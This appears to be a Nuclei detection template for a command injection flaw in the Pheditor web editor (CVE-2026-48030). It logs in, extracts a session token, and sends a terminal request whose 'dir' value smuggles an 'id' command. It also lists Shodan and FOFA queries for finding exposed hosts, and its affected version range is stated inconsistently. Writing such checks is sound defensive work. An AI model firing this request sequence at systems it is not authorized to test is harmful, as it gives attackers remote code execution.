Pheditor 2.0.1-2.0.3 - OS Command Injection

id: CVE-2026-48030

info:
  name: Pheditor 2.0.1-2.0.3 - OS Command Injection
  author: juoum00000
  severity: critical
  description: |
    Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
  impact: |
    Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.0.4 or later.
  reference:
    - https://github.com/advisories/GHSA-jvc5-6g7q-c843
    - https://github.com/muslimbek-0x/CVE-2026-48030
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-48030
    epss-score: 0.01545
    epss-percentile: 0.72614
    cwe-id: CWE-78
  metadata:
    max-request: 4
    verified: true
    vendor: pheditor
    product: pheditor
    fofa-query: body="pheditor_password"
    shodan-query: http.html:pheditor
  tags: cve,cve2026,rce,pheditor,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pheditor_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /pheditor.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "token")'
          - '!contains(body, "pheditor_password")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        regex:
          - 'token = "([0-9a-f]{64})"'

  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "uid=")'
        condition: and
# digest: 4b0a004830460221009e342f24f3a6f01e5689c7dbaa64f433a3fb511cca3e41c700d69a3c2d6f8505022100980c1a9338c620773f7295d2fddc62b1924534a097266664fa4c30ef495f931f:922c64590222798bb761d5b6d8e72950